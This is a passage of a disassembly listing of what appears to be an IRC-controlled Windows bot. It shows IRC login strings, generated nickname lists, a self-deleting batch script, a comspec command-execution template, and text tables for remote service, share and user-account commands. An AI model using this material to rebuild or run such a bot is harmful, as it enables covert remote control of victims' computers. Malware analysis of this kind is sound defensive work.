"o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" ; --------------------------------------------------------------------------- lodsb retn 42h ; --------------------------------------------------------------------------- dd offset aU ; "u" dd offset aV ; "v" dd offset dword_4387D0 dd offset dword_4387B4 dd offset dword_4387CC dd offset dword_4387B8 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4387B8 dd offset dword_4387C4 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438170 dd offset aBbl ; "|bbl" dd offset dword_43D158 dd offset dword_43D158 dd offset a___0 ; "_|_" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438780 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4387B0 dd offset dword_43D158 dd offset aSleeping ; "Sleeping" dd offset dword_43D158 dd offset dword_43D158 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D158 dd offset dword_43D158 dd offset dword_438764 dd offset dword_43D158 dd offset off_438130 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380F0 dd offset dword_4380EC dd offset dword_4380E4 dd offset dword_4380D8 dd offset dword_4380D0 dd offset dword_4380C8 dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B8 dword_4380B8 dd 7536h ; DATA XREF: ___:004380B4o dword_4380BC dd 7535h ; DATA XREF: ___:004380B0o dword_4380C0 dd 7C75347Ch, 0 ; DATA XREF: ___:004380ACo dword_4380C8 dd 6F79347Bh, 7D75h ; DATA XREF: ___:004380A8o dword_4380D0 dd 7375347Ch, 7Ch ; DATA XREF: ___:004380A4o dword_4380D8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:004380A0o dword_4380E4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043809Co dword_4380EC dd 6C6F6Ch ; DATA XREF: ___:00438098o dword_4380F0 dd 746F74h ; DATA XREF: ___:00438094o aMofo db 'mofo',0 ; DATA XREF: ___:00438090o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043808Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438088o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438084o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438080o aShit db 'shit',0 ; DATA XREF: ___:0043807Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438078o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438074o align 10h off_438130 dd offset word_594F42 ; DATA XREF: ___:00438070o aFree db 'Free',0 ; DATA XREF: ___:0043805Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438058o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043804Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438040o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043803Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438038o align 4 a___0 db '_|_',0 ; DATA XREF: ___:0043801Co aBbl db '|bbl',0 ; DATA XREF: ___:00438010o align 10h off_438170 dd offset loc_425242 ; DATA XREF: ___:0043800Co aMuckc db 'muckc',0 ; DATA XREF: ___:00437FF8o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00437FF4o align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00437FF0o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00437FECo align 4 aUi db 'ui',0 ; DATA XREF: ___:00437FE8o align 4 aSdf db 'sdf',0 ; DATA XREF: ___:00437FE4o aRt db 'rt',0 ; DATA XREF: ___:00437FE0o align 10h aGf db 'gf',0 ; DATA XREF: ___:00437FDCo align 4 aTy db 'ty',0 ; DATA XREF: ___:00437FD8o align 4 aRg db 'rg',0 ; DATA XREF: ___:00437FD4o align 4 aHappy db 'happy',0 ; DATA XREF: ___:00437FD0o align 4 aRs db 'rs',0 ; DATA XREF: ___:00437FB0o align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F5Do align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F54o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F50o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F4Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F48o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F44o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F40o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F3Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F38o aLag db 'lag',0 ; DATA XREF: ___:00437F34o aBad db 'bad',0 ; DATA XREF: ___:00437F30o aTree db 'tree',0 ; DATA XREF: ___:00437F2Co align 10h aZex db 'zex',0 ; DATA XREF: ___:00437F28o aLez db 'lez',0 ; DATA XREF: ___:00437F24o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437F20o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437F1Co align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437F18o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437F14o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437F10o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437F0Co align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437F08o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437F04o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437F00o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437EFCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EF8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EF4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EF0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EECo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EE8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EE4o aAkden db 'akden',0 ; DATA XREF: ___:00437EE0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EDCo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437ED8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437ED4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437ED0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437ECCo align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437EC8o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437EC4o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437EC0o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437EBCo align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437EB8o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437EB4o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437EB0o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437EACo align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437EA8o align 4 off_438354 dd offset byte_4B5245 ; DATA XREF: ___:00437EA4o aSevda db 'sevda',0 ; DATA XREF: ___:00437EA0o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E9Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E98o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E94o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E90o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E8Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E88o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E84o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E80o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E7Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E78o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E74o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E70o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E6Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E68o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E64o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E60o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E5Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E58o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E54o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E50o aHoly db 'holy',0 ; DATA XREF: ___:00437E4Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E48o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E44o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E40o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E3Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E38o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E34o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E30o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437E2Co align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437E28o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437E24o aArda db 'arda',0 ; DATA XREF: ___:00437E20o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437E1Co align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437E18o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437E14o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437E10o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437E0Co align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437E08o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437E04o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437E00o align 4 off_4384E8 dd offset byte_457441 ; DATA XREF: ___:00437DFCo dword_4384EC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DF8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DF4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DF0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DECo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DE8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DE4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DE0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DDCo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DD8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DD4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DD0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437DCCo aAslii db 'aslii',0 ; DATA XREF: ___:00437DC8o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437DC4o aHaticem db 'haticem',0 ; DATA XREF: ___:00437DC0o aArzu db 'ARZU',0 ; DATA XREF: ___:00437DBCo align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437DB8o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437DB4o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437DB0o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437DACo align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437DA8o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437DA4o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437DA0o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D9Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D98o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D94o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D90o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D8Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D88o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D84o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D80o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D7Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D78o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D74o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D70o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D6Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D68o aReshma db 'reshma',0 ; DATA XREF: ___:00437D64o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D60o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D5Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D58o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D54o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D50o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D4Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D48o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D44o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D40o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D3Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D38o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D34o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D30o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437D2Co align 4 aCme db 'cme',0 ; DATA XREF: ___:00437D28o aMarcy db 'marcy',0 ; DATA XREF: ___:00437D24o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437D20o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437D1Co align 4 aKen db 'ken',0 ; DATA XREF: ___:00437D18o aFlexster db 'flexster',0 ; DATA XREF: ___:00437D14o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437D10o align 10h aMale db 'male',0 ; DATA XREF: ___:00437D0Co align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437D08o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437D04o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437D00o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CFCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CF8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CF4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CF0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CECo align 10h aM_0: ; DATA XREF: ___:00437CE8o ; ___:00438034o unicode 0, <M>,0 word_438754 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CE4o align 4 dword_438758 dd 42h ; DATA XREF: ___:00437CE0o dword_43875C dd 56h ; DATA XREF: ___:00437CDCo dword_438760 dd 43h ; DATA XREF: ___:00437CD8o dword_438764 dd 58h ; DATA XREF: ___:00437CD4o ; ___:00438068o dword_438768 dd 5Ah ; DATA XREF: ___:00437CD0o dword_43876C dd 4Ch ; DATA XREF: ___:00437CCCo dword_438770 dd 4Bh ; DATA XREF: ___:00437CC8o dword_438774 dd 4Ah ; DATA XREF: ___:00437CC4o dword_438778 dd 48h ; DATA XREF: ___:00437CC0o dword_43877C dd 47h ; DATA XREF: ___:00437CBCo dword_438780 dd 46h ; DATA XREF: ___:00437CB8o ; ___:00438030o dword_438784 dd 44h ; DATA XREF: ___:00437CB4o dword_438788 dd 53h ; DATA XREF: ___:00437CB0o dword_43878C dd 50h ; DATA XREF: ___:00437CA8o dword_438790 dd 4Fh ; DATA XREF: ___:00437CA4o dword_438794 dd 55h ; DATA XREF: ___:00437C9Co word_438798 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C98o align 4 dword_43879C dd 54h ; DATA XREF: ___:00437C94o dword_4387A0 dd 52h ; DATA XREF: ___:00437C90o dword_4387A4 dd 45h ; DATA XREF: ___:00437C8Co dword_4387A8 dd 57h ; DATA XREF: ___:00437C88o dword_4387AC dd 51h ; DATA XREF: ___:00437C84o dword_4387B0 dd 62h ; DATA XREF: ___:00437C78o ; ___:00438044o dword_4387B4 dd 78h ; DATA XREF: ___:00437C6Co ; ___:00437FC4o dword_4387B8 dd 7Ah ; DATA XREF: ___:00437C68o ; ___:00437FCCo ... dword_4387BC dd 6Ch ; DATA XREF: ___:00437C64o ; ___:00437F98o dword_4387C0 dd 68h ; DATA XREF: ___:00437C58o dword_4387C4 dd 67h ; DATA XREF: ___:00437C54o ; ___:00438000o dword_4387C8 dd 66h ; DATA XREF: ___:00437C50o dword_4387CC dd 79h ; DATA XREF: ___:00437FC8o dword_4387D0 dd 77h ; DATA XREF: ___:00437FC0o dword_4387D4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387E0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387E4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43898C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4389B4 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389D0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389D4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389D8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A44h, 438A3Ch, 2, 438A30h, 438A24h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:00438A04o aStop_0 db 'Stop',0 ; DATA XREF: ___:00438A00o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389F8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389F4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389ECo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389E8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389E0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389DCo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389D4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389D0o unk_438A98 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438ABC db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AE8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43903C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439060 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43907C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_4390C8 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_439128 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439180 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_4391A0 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43935C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439390 db 2Dh ; - ; DATA XREF: 